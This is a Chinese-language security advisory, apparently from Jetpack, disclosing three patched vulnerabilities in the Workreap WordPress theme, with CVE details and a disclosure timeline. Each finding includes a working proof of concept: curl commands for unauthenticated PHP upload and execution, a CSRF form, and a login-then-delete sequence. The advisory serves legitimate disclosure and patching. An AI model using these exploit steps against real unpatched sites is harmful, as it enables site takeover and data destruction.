Amentotech Workreap 主题中的多个漏洞
已发表: 2021-07-07最近,Jetpack 团队在我们托管的客户网站中发现了一些受感染的文件,并迅速将感染源追溯到 Amentotech 的 Workreap 主题。 我们开始调查并在主题中发现了一些易受攻击的 AJAX 端点; 其中最严重的是未经身份验证的未经验证的上传漏洞,可能导致远程代码执行和整个站点的接管。
我们通过 Envato Helpful Hacker 计划向 Amentotech 团队报告了这些漏洞,他们迅速解决了这些问题。 该主题的 2.2.2 版本于 2021 年 6 月 29 日发布,修复了发现的漏洞。
TL;博士
由于漏洞的严重性,我们强烈建议所有 Workreap 主题用户尽快升级到 2.2.2 或更高版本。
从主题网站下载升级并手动安装,或通过 Envato 市场插件自动升级。
细节
主题名称: Workreap
主题 URI: http://amentotech.com/projects/wpworkreap
作者: Amentotech
作者 URI: https://themeforest.net/user/amentotech/portfolio
漏洞
由于漏洞的严重性,我们将延迟发布概念证明和完整分析,以给用户升级的时间。
未经身份验证的上传导致远程代码执行
受影响的版本: < 2.2.2
CVE-ID: CVE-2021-24499
CVSSv3.1: 10.0
CWE: CWE-284、CWE-641、
CWSS: 90.7
WPScan 链接: https://wpscan.com/vulnerability/74611d5f-afba-42ae-bc19-777cdf2808cb
AJAX 操作workreap_award_temp_file_uploader
和workreap_temp_file_uploader
没有执行随机数检查,或以任何其他方式验证请求来自有效用户。 端点允许将任意文件上传到uploads/workreap-temp
目录。 上传的文件既没有经过清理也没有经过验证,允许未经身份验证的访问者上传可执行代码,例如 php 脚本。
概念证明
% curl -F 'action=workreap_award_temp_file_uploader' -F [email protected] 'https://example.com/wp-admin/admin-ajax.php'
{"type":"success","message":"File uploaded!","thumbnail":"https:\/\/example.com\/wp-content\/uploads\/workreap-temp\/malicious.php","name":"malicious.php","size":"24.00 B"}
% curl 'https://example.com/wp-content/uploads/workreap-temp/malicious.php'
PWNED!
多个 CSRF + IDOR 漏洞
受影响的版本: < 2.2.2
CVE-ID: CVE-2021-24500
CVSSv3.1: 8.2
CWE: CWE-283、CWE-284、CWE-862
CWSS: 78.3
WPScan 链接: https://wpscan.com/vulnerability/0c4b5ecc-54d0-45ec-9f92-b2ca3cadbe56
Workreap 主题中可用的几个 AJAX 操作缺乏 CSRF 保护,并且允许未经验证的不安全直接对象引用 (IDOR)。 这允许攻击者欺骗登录用户向易受攻击的站点提交 POST 请求,从而可能修改或删除目标站点上的任意对象。
在 2.0.0 之前的版本中,这些操作完全缺乏身份验证,并且可以被站点的任何访问者利用。
概念证明
<form action="https:/example.com/wp-admin/admin-ajax.php" method="POST">
<input name="action" type="hidden" value="workreap_portfolio_remove">
<!-- note value does not have to be a portfolio, any post id will do -->
<input name="id" type="hidden" value="1361">
<input type="submit" value="Get rich!">
</form>
AJAX 操作中缺少授权检查
受影响的版本: < 2.2.2
CVE-ID: CVE-2021-24501
CVSSv3.1: 7.1
CWE: CWE-283、CWE-862
CWSS: 68.5
WPScan 链接: https://wpscan.com/vulnerability/66e4aaf4-5ef7-4da8-a45c-e24f449c363e

Workreap 主题中可用的几个 AJAX 操作缺少授权检查,以验证用户是否有权执行关键操作,例如修改或删除对象。 这允许登录用户修改或删除站点上属于其他用户的对象。
在 2.0.0 之前的版本中,这些操作完全缺乏身份验证,并且可以被站点的任何访问者利用。
概念证明
# log in as arbitrary freelancer
curl -c .cookies -F action=workreap_ajax_login -F username=balle -F password=hunter2 \
https://example.com/wp-admin/admin-ajax.php
{"job":"no","type":"success","role_type":"freelancers","redirect":"https:\/\/example.com\/dashboard\/?ref=profile&mode=settings&identity=3","url":"https:\/\/example.com\/","loggedin":true,"message":"Successfully Logged in"}%
# delete arbitrary portfolio
curl -s -b .cookies -F action=workreap_portfolio_remove -F id=1361 \
https://example.com/wp-admin/admin-ajax.php
{"type":"success","message":"Portfolio removed successfully."}
时间线
2021-06-24:Jetpack 扫描团队发现的初始上传漏洞,已报告给 Envato Helpful Hacker 程序。
2021-06-25:记录了发现的更多漏洞,Amentotech 通过 Envato 通知。
2021-06-27:版本 2.2.1 发布,解决了部分但不是全部漏洞。
2021-06-29:版本 2.2.2 发布,并由 Jetpack 扫描团队验证修复。
结论
我们建议您检查您在网站上使用的 Workreap 主题的当前版本,如果低于 2.2.2,请尽快更新!
在 Jetpack,我们努力确保您的网站免受此类漏洞的影响。 要领先任何新威胁一步,请查看 Jetpack Scan,其中包括安全扫描和自动恶意软件删除。
学分
原始研究员:Harald Eilertsen
感谢 Jetpack Scan 团队的其他成员提供反馈、帮助和更正。 还要感谢 Envato Helpful Hacker 计划的 kailoon 帮助与 Amentotech 取得联系,并感谢 Amentotech 在解决问题和发布更新版本方面的迅速响应。